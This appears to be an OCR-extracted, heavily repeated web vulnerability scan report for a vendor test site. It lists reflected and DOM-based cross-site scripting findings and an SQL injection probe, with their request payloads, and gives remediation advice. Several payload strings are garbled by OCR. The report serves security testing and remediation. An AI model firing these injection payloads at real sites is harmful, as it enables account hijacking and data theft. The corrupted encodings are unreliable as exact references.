1. Output Encoding: Apply context-appropriate encoding to all user-controlled data before rendering it in
HTML, JavaScript, CSS, or URL contexts. Use established encoding libraries specific to your framework.

HTML Context Example:

// Encode user input before inserting into HTML
String safe = HtmlUtils.htmlEscape(userInput);
response.getWriter().write("<div>" + safe + "</div>");

JavaScript Context Example:
// Use JSON encoding for data in JavaScript

String jsonSafe = JSONObject.quote(userInput);
out.write("<script>var data = " + jsonSafe + ";</script>");

2. Input Validation: Validate all user input against strict allowlists of expected formats, lengths, and
character sets. Reject invalid input rather than attempting to sanitize it.

3. Content Security Policy (CSP): Implement a strict CSP header to prevent inline script execution and
restrict script sources to trusted domains:
Content-Security-Policy: default-src 'self'; script-src 'self' trusted-cdn.com

4. Use Security Headers: Enable X-XSS-Protection and X-Content-Type-Options headers as additional
defense layers.

5. Framework Protection: Utilize auto-escaping template engines and framework-provided XSS
protection features (e.g., React's JSX, Angular's sanitization).

References

Cross-site Scripting_(XSS)_Attack

XSS Filter Evasion Cheat Sheet
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Cross site scripting,

Affected items

Web Server

Details


https://invicti.com/learn/cross-site-scripting-xss/
https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet
https://excess-xss.com/
https://en.wikipedia.org/wiki/Cross-site_scripting

URI was set to 1<ScRiPt>Asqt(9825)</ScRiPt>
The input is reflected inside a text element.

Request headers

GET /artist.php?
1d=%31%3C%53%63%52%69%50%74%3€%4 1%73%7 1%74%28%39%38%32%35%29%3 %2 F%53%63%52%69%50%74%3e
HTTP/1.1

Referer: http://php.testinvicti.com/

Cookie: PHPSESSID=28300186b7a9496a11590877b72d96ac

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like
Gecko) Chrome/149.0.0.0 Safari/537.36

Host: php.testinvicti.com

Connection: Keep-alive

/hello.php

Verified vulnerability

Details

URL encoded GET input hpp was set to Netsparker'"'()&%<zzz><ScRiPt >USd5(9756)</ScRiPt>
Request headers

GET /hello.php?hpp=Netsparker'"()%26%25<zzz><ScRiPt%20>USd5(9756)
</SCcRiPt>&1rc=&pp=%20DAST HTTP/1.1

Referer: http://php.testinvicti.com/

Cookie: PHPSESSID=28300186b7a9496a11590877b72d96ac

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like
Gecko) Chrome/149.0.0.0 Safari/537.36

Host: php.testinvicti.com

Connection: Keep-alive

/artist.php

Verified vulnerability

Details

URL encoded GET input id was set to 12345'"()&%<zzz><ScRiPt >tMjD(9839)</ScRiPt>
Request headers

GET /artist.php?id=12345"'"()%26%25<zzz><ScRiPt%20>tMjD(9839)</ScRiPt> HTTP/1.1
Referer: http://php.testinvicti.com/

Cookie: PHPSESSID=28300186b7a9496a11590877b72d96ac

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like
Gecko) Chrome/149.0.0.0 Safari/537.36

Host: php.testinvicti.com

Connection: Keep-alive



/products.php

Verified vulnerability

Details

URL encoded GET input pp was set to DAST'"()&%<zzz><ScRiPt >Kz2B(9431)</ScRiPt>
Request headers

GET /products.php?pp=%20DAST'" ()%26%25<22z><SCcRiPt%20>Kz2B(9431)</ScRiPt> HTTP/1.1
Referer: http://php.testinvicti.com/

Cookie: PHPSESSID=28300186b7a9496a11590877b72d96ac

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like
Gecko) Chrome/149.0.0.0 Safari/537.36

Host: php.testinvicti.com

Connection: Keep-alive

/hello.php

Verified vulnerability

Details

URL encoded GET input pp was set to DAST'"()&%<zzz><ScRiPt >USd5(9619)</ScRiPt>
Request headers

GET /hello.php?hpp=Netsparker&irc=&pp=%20DAST"'" ()%26%25<z2zz><ScRiPt%20>USd5(9619)
</ScRiPt> HTTP/1.1

Referer: http://php.testinvicti.com/

Cookie: PHPSESSID=28300186b7a9496a11590877b72d96ac

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like
Gecko) Chrome/149.0.0.0 Safari/537.36

Host: php.testinvicti.com

Connection: Keep-alive

/products.php
Verified vulnerability
Details

URL encoded GET input pro was set to url%22onmouseover=gBnW(97742)%22

The input is reflected inside a tag parameter between double quotes.
Request headers

GET /products.php?pro=url%22onmouseover=gBnW(97742)%22 HTTP/1.1

Referer: http://php.testinvicti.com/

Cookie: PHPSESSID=28300186b7a9496a11590877b72d96ac

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like
Gecko) Chrome/149.0.0.0 Safari/537.36



Host: php.testinvicti.com
Connection: Keep-alive

O Cross-site Scripting

Severity High
Reported by module /Scripts/PerFile/XSS_in_URI_File.script

Description

Cross-Site Scripting (XSS) is a client-side injection vulnerability that allows attackers to inject malicious
scripts into trusted web applications. This occurs when applications include untrusted data in web pages
without proper validation or encoding, causing browsers to execute attacker-controlled code in the context
of the vulnerable site. XSS vulnerabilities can affect any web application that displays user input without
adequate sanitization.

Impact

XSS vulnerabilities enable attackers to execute arbitrary JavaScript in victims' browsers, leading to severe
security consequences. Attackers can steal session cookies and authentication tokens to hijack user
accounts, including administrative accounts. They can also capture sensitive data such as passwords,
credit card information, and personal details entered on the page.

Additionally, attackers can modify page content to deface websites, redirect users to malicious sites, or
create convincing phishing attacks that appear legitimate. Since the malicious script runs with the same
privileges as the vulnerable application, attackers can perform any action the victim user can perform,
potentially leading to unauthorized transactions, data theft, or further compromise of the application and
its users.

Recommendation

Implement defense-in-depth measures to prevent XSS vulnerabilities:

1. Output Encoding: Apply context-appropriate encoding to all user-controlled data before rendering it in
HTML, JavaScript, CSS, or URL contexts. Use established encoding libraries specific to your framework.

HTML Context Example:

// Encode user input before inserting into HTML
String safe = HtmlUtils.htmlEscape(userInput);
response.getWriter().write("<div>" + safe + "</div>");

JavaScript Context Example:
// Use JSON encoding for data in JavaScript
String jsonSafe = JSONObject.quote(userInput);

out.write("<script>var data = " + jsonSafe + ";</script>");
2. Input Validation: Validate all user input against strict allowlists of expected formats, lengths, and

character sets. Reject invalid input rather than attempting to sanitize it.

3. Content Security Policy (CSP): Implement a strict CSP header to prevent inline script execution and
restrict script sources to trusted domains:



Content-Security-Policy: default-src 'self'; script-src 'self' trusted-cdn.com

4. Use Security Headers: Enable X-XSS-Protection and X-Content-Type-Options headers as additional
defense layers.

5. Framework Protection: Utilize auto-escaping template engines and framework-provided XSS
protection features (e.g., React's JSX, Angular's sanitization).

References

Cross-site Scripting_(XSS) Attack
XSS Filter Evasion Cheat Sheet
Excess XSS, a comprehensive tutorial on cross-site scripting

Cross site scripting

Affected items

Web Server
Details

URI was set to 1<ScRiPt>Asqt(9825)</ScRiPt>
The input is reflected inside a text element.

Request headers

GET /artist.php?
1d=%31%3C%53%63%52%69%50%74%3e%4 1%73%7 1%74%28%39%38%32%35%29%3 %2 f%53%63%52%69%50%74%3e
HTTP/1.1

Referer: http://php.testinvicti.com/

Cookie: PHPSESSID=28300186b7a9496a11590877b72d96ac

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like
Gecko) Chrome/149.0.0.0 Safari/537.36

Host: php.testinvicti.com

Connection: Keep-alive

/hello.php

Verified vulnerability

Details

URL encoded GET input hpp was set to Netsparker''()&%<zzz><ScRiPt >USd5(9756)</ScRiPt>
Request headers

GET /hello.php?hpp=Netsparker'"()%26%25<zzz><ScRiPt%20>USd5(9756)
</ScRiPt>&irc=8&pp=%20DAST HTTP/1.1

Referer: http://php.testinvicti.com/

Cookie: PHPSESSID=28300186b7a9496a11590877b72d9%6ac

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like
Gecko) Chrome/149.0.0.0 Safari/537.36

Host: php.testinvicti.com


https://invicti.com/learn/cross-site-scripting-xss/
https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet
https://excess-xss.com/
https://en.wikipedia.org/wiki/Cross-site_scripting

Connection: Keep-alive

/artist.php

Verified vulnerability

Details

URL encoded GET input id was set to 12345""()&%<zzz><ScRiPt >tMjD(9839)</ScRiPt>
Request headers

GET /artist.php?id=12345"'"()%26%25<zzz><ScRiPt%20>tMjD(9839)</ScRiPt> HTTP/1.1
Referer: http://php.testinvicti.com/

Cookie: PHPSESSID=28300186b7a9496a11590877b72d96ac

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like
Gecko) Chrome/149.0.0.0 Safari/537.36

Host: php.testinvicti.com

Connection: Keep-alive

/products.php

Verified vulnerability

Details

URL encoded GET input pp was set to DAST'"()&%<zzz><ScRiPt >Kz2B(9431)</ScRiPt>
Request headers

GET /products.php?pp=%20DAST'" ()%26%25<22z><SCcRiPt%20>Kz2B(9431)</ScRiPt> HTTP/1.1
Referer: http://php.testinvicti.com/

Cookie: PHPSESSID=28300186b7a9496a11590877b72d96ac

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q0=0.8
Accept-Encoding: gzip,deflate

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like
Gecko) Chrome/149.0.0.0 Safari/537.36

Host: php.testinvicti.com

Connection: Keep-alive

/hello.php

Verified vulnerability

Details

URL encoded GET input pp was set to DAST'"()&%<zzz><ScRiPt >USd5(9619)</ScRiPt>
Request headers

GET /hello.php?hpp=Netsparker&irc=&pp=%20DAST"'" ()%26%25<z2z2z><ScRiPt%20>USd5(9619)
</ScRiPt> HTTP/1.1

Referer: http://php.testinvicti.com/

Cookie: PHPSESSID=28300186b7a9496a11590877b72d96ac

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like
Gecko) Chrome/149.0.0.0 Safari/537.36



Host: php.testinvicti.com
Connection: Keep-alive

/products.php
Verified vulnerability
Details

URL encoded GET input pro was set to url%22onmouseover=gBnW(97742)%22

The input is reflected inside a tag parameter between double quotes.
Request headers

GET /products.php?pro=url%s22onmouseover=gBnW(97742)%22 HTTP/1.1

Referer: http://php.testinvicti.com/

Cookie: PHPSESSID=28300186b7a9496a11590877b72d96ac

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like
Gecko) Chrome/149.0.0.0 Safari/537.36

Host: php.testinvicti.com

Connection: Keep-alive

O Cross-site Scripting

Severity High
Reported by module /Scripts/PerFile/XSS_in_URI_File.script
Description

Cross-Site Scripting (XSS) is a client-side injection vulnerability that allows attackers to inject malicious
scripts into trusted web applications. This occurs when applications include untrusted data in web pages
without proper validation or encoding, causing browsers to execute attacker-controlled code in the context
of the vulnerable site. XSS vulnerabilities can affect any web application that displays user input without
adequate sanitization.

Impact

XSS vulnerabilities enable attackers to execute arbitrary JavaScript in victims' browsers, leading to severe
security consequences. Attackers can steal session cookies and authentication tokens to hijack user
accounts, including administrative accounts. They can also capture sensitive data such as passwords,
credit card information, and personal details entered on the page.

Additionally, attackers can modify page content to deface websites, redirect users to malicious sites, or
create convincing phishing attacks that appear legitimate. Since the malicious script runs with the same
privileges as the vulnerable application, attackers can perform any action the victim user can perform,
potentially leading to unauthorized transactions, data theft, or further compromise of the application and
its users.

Recommendation



Implement defense-in-depth measures to prevent XSS vulnerabilities:

1. Output Encoding: Apply context-appropriate encoding to all user-controlled data before rendering it in
HTML, JavaScript, CSS, or URL contexts. Use established encoding libraries specific to your framework.

HTML Context Example:

// Encode user input before inserting into HTML
String safe = HtmlUtils.htmlEscape(userInput);
response.getWriter().write("<div>" + safe + "</div>");

JavaScript Context Example:
// Use JSON encoding for data in JavaScript

String jsonSafe = JSONObject.quote(userInput);
out.write("<script>var data = " + jsonSafe + ";</script>");

2. Input Validation: Validate all user input against strict allowlists of expected formats, lengths, and
character sets. Reject invalid input rather than attempting to sanitize it.

3. Content Security Policy (CSP): Implement a strict CSP header to prevent inline script execution and
restrict script sources to trusted domains:
Content-Security-Policy: default-src 'self'; script-src 'self' trusted-cdn.com

4. Use Security Headers: Enable X-XSS-Protection and X-Content-Type-Options headers as additional
defense layers.

5. Framework Protection: Utilize auto-escaping template engines and framework-provided XSS
protection features (e.g., React's JSX, Angular's sanitization).

References
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Cross site scripting

Affected items

Web Server
Details

URI was set to 1<ScRiPt>Asqt(9825)</ScRiPt>
The input is reflected inside a text element.

Request headers

GET /artist.php?
1d=%31%3C%53%63%52%69%50%74%3e%4 1%73%7 1%74%28%39%38%32%35%29%3 C%2 %53%63%52%69%50%74%3e
HTTP/1.1

Referer: http://php.testinvicti.com/

Cookie: PHPSESSID=28300186b7a9496a11590877b72d9%6ac

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like
Gecko) Chrome/149.0.0.0 Safari/537.36
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Host: php.testinvicti.com
Connection: Keep-alive

/hello.php

Verified vulnerability

Details

URL encoded GET input hpp was set to Netsparker'"'()&%<zzz><ScRiPt >USd5(9756)</ScRiPt>
Request headers

GET /hello.php?hpp=Netsparker'"()%26%25<zzz><ScRiPt%20>USd5(9756)
</SCcRiPt>&1rc=&pp=%20DAST HTTP/1.1

Referer: http://php.testinvicti.com/

Cookie: PHPSESSID=28300186b7a9496a11590877b72d96ac

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like
Gecko) Chrome/149.0.0.0 Safari/537.36

Host: php.testinvicti.com

Connection: Keep-alive

/artist.php

Verified vulnerability

Details

URL encoded GET input id was set to 12345""()&%<zzz><ScRiPt >tMjD(9839)</ScRiPt>
Request headers

GET /artist.php?id=12345""()%26%25<zzz><SCcRiPt%20>tMjD(9839)</ScRiPt> HTTP/1.1
Referer: http://php.testinvicti.com/

Cookie: PHPSESSID=28300186b7a9496a11590877b72d96ac

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like
Gecko) Chrome/149.0.0.0 Safari/537.36

Host: php.testinvicti.com

Connection: Keep-alive

/products.php

Verified vulnerability

Details

URL encoded GET input pp was set to DAST'"()&%<zzz><ScRiPt >Kz2B(9431)</ScRiPt>
Request headers

GET /products.php?pp=%20DAST'" ()%26%25<22z><SCcRiPt%20>Kz2B(9431)</ScRiPt> HTTP/1.1
Referer: http://php.testinvicti.com/

Cookie: PHPSESSID=28300186b7a9496a11590877b72d96ac

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like



Gecko) Chrome/149.0.0.0 Safari/537.36
Host: php.testinvicti.com
Connection: Keep-alive

/hello.php

Verified vulnerability

Details

URL encoded GET input pp was set to DAST'"()&%<zzz><ScRiPt >USd5(9619)</ScRiPt>
Request headers

GET /hello.php?hpp=Netsparker&irc=&pp=%20DAST"'" ()%26%25<z2z2z><ScRiPt%20>USd5(9619)
</ScRiPt> HTTP/1.1

Referer: http://php.testinvicti.com/

Cookie: PHPSESSID=28300186b7a9496a11590877b72d96ac

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like
Gecko) Chrome/149.0.0.0 Safari/537.36

Host: php.testinvicti.com

Connection: Keep-alive

/products.php
Verified vulnerability
Details

URL encoded GET input pro was set to url%22onmouseover=gBnW(97742)%22

The input is reflected inside a tag parameter between double quotes.
Request headers

GET /products.php?pro=url%22onmouseover=gBnW(97742)%22 HTTP/1.1

Referer: http://php.testinvicti.com/

Cookie: PHPSESSID=28300186b7a9496a11590877b72d96ac

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like
Gecko) Chrome/149.0.0.0 Safari/537.36

Host: php.testinvicti.com

Connection: Keep-alive

O Cross-site Scripting

Severity High
Reported by module /Scripts/PerFile/XSS_in_URI_File.script

Description



Cross-Site Scripting (XSS) is a client-side injection vulnerability that allows attackers to inject malicious
scripts into trusted web applications. This occurs when applications include untrusted data in web pages
without proper validation or encoding, causing browsers to execute attacker-controlled code in the context
of the vulnerable site. XSS vulnerabilities can affect any web application that displays user input without
adequate sanitization.

Impact

XSS vulnerabilities enable attackers to execute arbitrary JavaScript in victims' browsers, leading to severe
security consequences. Attackers can steal session cookies and authentication tokens to hijack user
accounts, including administrative accounts. They can also capture sensitive data such as passwords,
credit card information, and personal details entered on the page.

Additionally, attackers can modify page content to deface websites, redirect users to malicious sites, or
create convincing phishing attacks that appear legitimate. Since the malicious script runs with the same
privileges as the vulnerable application, attackers can perform any action the victim user can perform,
potentially leading to unauthorized transactions, data theft, or further compromise of the application and
its users.

Recommendation

Implement defense-in-depth measures to prevent XSS vulnerabilities:

1. Output Encoding: Apply context-appropriate encoding to all user-controlled data before rendering it in
HTML, JavaScript, CSS, or URL contexts. Use established encoding libraries specific to your framework.

HTML Context Example:

// Encode user input before inserting into HTML
String safe = HtmlUtils.htmlEscape(userInput);
response.getWriter().write("<div>" + safe + "</div>");

JavaScript Context Example:
// Use JSON encoding for data in JavaScript

String jsonSafe = JSONObject.quote(userInput);

out.write("<script>var data = " + jsonSafe + ";</script>");
2. Input Validation: Validate all user input against strict allowlists of expected formats, lengths, and

character sets. Reject invalid input rather than attempting to sanitize it.

3. Content Security Policy (CSP): Implement a strict CSP header to prevent inline script execution and
restrict script sources to trusted domains:
Content-Security-Policy: default-src 'self'; script-src 'self' trusted-cdn.com

4. Use Security Headers: Enable X-XSS-Protection and X-Content-Type-Options headers as additional
defense layers.

5. Framework Protection: Utilize auto-escaping template engines and framework-provided XSS
protection features (e.g., React's JSX, Angular's sanitization).

References
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Excess XSS, a comprehensive tutorial on cross-site scripting
Cross site scripting

Affected items

Web Server
Details

URI was set to 1<ScRiPt>Asqt(9825)</ScRiPt>
The input is reflected inside a text element.

Request headers

GET /artist.php?
1d=%31%3C%53%63%52%69%50%74%3€%4 1%73%7 1%74%28%39%38%32%35%29%3 C%2 T%53%63%52%69%50%74%3e
HTTP/1.1

Referer: http://php.testinvicti.com/

Cookie: PHPSESSID=28300186b7a9496a11590877b72d96ac

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like
Gecko) Chrome/149.0.0.0 Safari/537.36

Host: php.testinvicti.com

Connection: Keep-alive

/hello.php

Verified vulnerability

Details

URL encoded GET input hpp was set to Netsparker'"()&%<zzz><ScRiPt >USd5(9756)</ScRiPt>
Request headers

GET /hello.php?hpp=Netsparker'"()%26%25<zzz><ScRiPt%20>USd5(9756)
</SCcRiPt>&irc=&pp=%20DAST HTTP/1.1

Referer: http://php.testinvicti.com/

Cookie: PHPSESSID=28300186b7a9496a11590877b72d96ac

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like
Gecko) Chrome/149.0.0.0 Safari/537.36

Host: php.testinvicti.com

Connection: Keep-alive

/artist.php

Verified vulnerability

Details

URL encoded GET input id was set to 12345""()&%<zzz><ScRiPt >tMjD(9839)</ScRiPt>
Request headers

GET /artist.php?id=12345""()%26%25<zzz><ScRiPt%20>tMjD(9839)</ScRiPt> HTTP/1.1
Referer: http://php.testinvicti.com/
Cookie: PHPSESSID=28300186b7a9496a11590877b72d96ac


https://excess-xss.com/
https://en.wikipedia.org/wiki/Cross-site_scripting

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like
Gecko) Chrome/149.0.0.0 Safari/537.36

Host: php.testinvicti.com

Connection: Keep-alive

/products.php

Verified vulnerability

Details

URL encoded GET input pp was set to DAST'"()&%<zzz><ScRiPt >Kz2B(9431)</ScRiPt>
Request headers

GET /products.php?pp=%20DAST'" ()%26%25<z2z2z><SCcRiPt%20>Kz2B(9431)</ScRiPt> HTTP/1.1
Referer: http://php.testinvicti.com/

Cookie: PHPSESSID=28300186b7a9496a11590877b72d96ac

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like
Gecko) Chrome/149.0.0.0 Safari/537.36

Host: php.testinvicti.com

Connection: Keep-alive

/hello.php

Verified vulnerability

Details

URL encoded GET input pp was set to DAST'"()&%<zzz><ScRiPt >USd5(9619)</ScRiPt>
Request headers

GET /hello.php?hpp=Netsparker&irc=&pp=%20DAST"'" ()%26%25<z22z><ScRiPt%20>USd5(9619)
</ScRiPt> HTTP/1.1

Referer: http://php.testinvicti.com/

Cookie: PHPSESSID=28300186b7a9496a11590877b72d96ac

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like
Gecko) Chrome/149.0.0.0 Safari/537.36

Host: php.testinvicti.com

Connection: Keep-alive

/products.php
Verified vulnerability
Details

URL encoded GET input pro was set to url%22onmouseover=gBnW(97742)%22

The input is reflected inside a tag parameter between double quotes.

Request headers



GET /products.php?pro=url%22onmouseover=gBnW(97742)%22 HTTP/1.1

Referer: http://php.testinvicti.com/

Cookie: PHPSESSID=28300186b7a9496a11590877b72d9%6ac

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like
Gecko) Chrome/149.0.0.0 Safari/537.36

Host: php.testinvicti.com

Connection: Keep-alive

O Cross-site Scripting (DOM based)

Severity High
Reported by module /deepscan/dom_xss
Description

DOM-based Cross-Site Scripting (XSS) is a client-side vulnerability that occurs when a web application
processes untrusted data within the browser's Document Object Model (DOM) without proper validation or
sanitization. Unlike traditional XSS vulnerabilities that execute on the server, DOM-based XSS exploits
client-side JavaScript code that dynamically writes user-controllable data to the page. Attackers can inject
malicious scripts through URL parameters, hash fragments, or other client-side sources that are processed
by vulnerable JavaScript code, causing the browser to execute arbitrary code in the context of the victim's
session.

Impact

Successful exploitation of DOM-based XSS allows attackers to execute arbitrary JavaScript code in the
victim's browser within the security context of the vulnerable application. This can lead to:

* Session Hijacking: Attackers can steal session cookies and authentication tokens, gaining complete
access to the victim's account without requiring credentials.

* Credential Theft: Malicious scripts can capture keystrokes, form data, and other sensitive information
entered by the user.

¢ Content Manipulation: Attackers can modify the appearance and functionality of the web page,
potentially displaying fake login forms or misleading content to phish for additional credentials.

* Malware Distribution: The vulnerability can be leveraged to redirect users to malicious websites or
trigger drive-by downloads.

* Account Actions: Attackers can perform unauthorized actions on behalf of the victim, such as changing
account settings, initiating transactions, or accessing sensitive data.

Recommendation

Implement the following security measures to prevent DOM-based XSS vulnerabilities:

1. Validate and Sanitize All User Input:

* Treat all data from untrusted sources (URL parameters, hash fragments, referrer headers, postMessage
data) as potentially malicious.

* Use allowlist validation to accept only expected input patterns.



2. Use Safe JavaScript APIs:
¢ Avoid dangerous DOM manipulation methods that interpret strings as HTML.:

// UNSAFE - Avoid these methods with user input
element.innerHTML = userInput;

element.outerHTML = userInput;
document.write(userInput);
element.insertAdjacentHTML('beforebegin', userInput);
¢ Instead, use safe alternatives that treat input as text:
// SAFE - Use these methods instead
element.textContent = userInput;
element.setAttribute('attribute', userInput);

const textNode = document.createTextNode(userInput);
element.appendChild(textNode);

3. Context-Aware Output Encoding:

* When user input must be inserted into HTML, JavaScript, or URLs, apply appropriate encoding for that
specific context.

¢ Use established security libraries for encoding (e.g., DOMPurify for HTML sanitization):

// Example using DOMPurify

const cleanHTML = DOMPurify.sanitize(userInput);

element.innerHTML = cleanHTML;

4. Implement Content Security Policy (CSP):
* Deploy a strict CSP header to prevent inline script execution and restrict script sources:
Content-Security-Policy: default-src 'self'; script-src 'self'; object-src 'none';

5. Avoid Dangerous JavaScript Patterns:
* Never use eval(), setTimeout(), or setInterval() with string arguments containing user input.
* Avoid Function() constructor with user-controllable data.

6. Regular Security Testing:

e Perform code reviews focusing on DOM manipulation and client-side data handling.
* Use automated security scanning tools to identify potential DOM XSS sinks.

e Conduct manual penetration testing with various XSS payloads.

References
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Cross site scripting
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How To: Prevent Cross-Site Scripting_in ASP.NET

Affected items

/artist.php
Details

Source: window. location
Execution Sink: set HTML code
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Location: http://php.testinvicti.com/artist.php?
id=javascript%3AdomxssExecutionSink%281%2(%22%27%5C%22%3E%3Cxsstag%3E%28%2910CX55%22%29
&wvstest=javascript%3AdomxssExecutionSink%281%2(%22%27%5C%22%3E%3Cxsstag%3E%28%2910cxss
%22%29%#javascript:domxssExecutionSink(1," "\ "><xsstag>()hashxss")

HTML code set: Results: javascript:domxssExecutionSink(1,"'/"><xsstag>()locxss")</xsstag>
</h3>

O Database User Has Admin Privileges

Severity High
Reported by module /Scripts/PerScheme/Sql_Injection.script
Description

The database user account used by the application has administrative privileges on the database server.
This security misconfiguration was confirmed by analyzing the connection privileges through an identified
SQL injection vulnerability. Running applications with elevated database permissions violates the principle
of least privilege and significantly increases the attack surface.

Impact

An attacker exploiting an SQL injection vulnerability in combination with administrative database privileges
can perform severe attacks including:

e Complete database compromise: Read, modify, or delete any data across all databases on the
server, including sensitive information from other applications.

¢ Operating system command execution: Execute arbitrary commands on the underlying server
through database features like xp_cmdshell (SQL Server), sys_exec (PostgreSQL), or UDF functions
(MySQL).

¢ Privilege escalation: Leverage database administrative functions to escalate privileges and gain
full control of the database server or potentially the entire host system.

« Lateral movement: Use the compromised database server as a pivot point to attack other systems
within the network.

o Data exfiltration: Extract sensitive data from all accessible databases, potentially affecting multiple
applications and users.

Recommendation

Immediately reduce the database user's privileges to the minimum required for application functionality:

1. Create a dedicated database user with restricted permissions: Create a new database
account specifically for the application with only the necessary privileges (typically SELECT, INSERT,
UPDATE, DELETE on specific tables).

2. Remove administrative privileges: Revoke all administrative and system-level permissions from
the application's database user. This includes permissions like CONTROL SERVER, db_owner, or root
access.

3. Grant table-level permissions only: Assign permissions at the most granular level possible. For
example:

MySQL/MariaDB:



CREATE USER 'app user'@'localhost' IDENTIFIED BY 'strong password';
GRANT SELECT, INSERT, UPDATE, DELETE ON app database.* TO 'app user'@'localhost’;
FLUSH PRIVILEGES;
PostgreSQL:
CREATE USER app_user WITH PASSWORD 'strong password';
GRANT CONNECT ON DATABASE app database TO app user;
GRANT SELECT, INSERT, UPDATE, DELETE ON ALL TABLES IN SCHEMA public TO app user;
SQL Server:
CREATE LOGIN app_user WITH PASSWORD = 'strong password';
CREATE USER app user FOR LOGIN app user;
GRANT SELECT, INSERT, UPDATE, DELETE ON SCHEMA::dbo TO app_user;
4. Update application configuration: Modify the application's database connection settings to use
the new restricted user account.
5. Test thoroughly: Verify that all application functionality works correctly with the reduced privileges
before deploying to production.
6. Implement regular audits: Periodically review database user permissions to ensure they remain
aligned with the principle of least privilege.

References

Authorization and Permissions in SQL Server (ADO.NET)
Wikipedia - Principle of Least Privilege
How to Use MySQL GRANT to Grant Privileges to Account

Affected items

/artist.php
Details

Database name:
Request headers

GET /artist.php?id=-1%200R%203*2*1=6%20AND%2000043=00043 HTTP/1.1

X-Requested-With: XMLHttpRequest

Referer: http://php.testinvicti.com/

Cookie: PHPSESSID=28300186b7a9496a11590877b72d96ac

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate

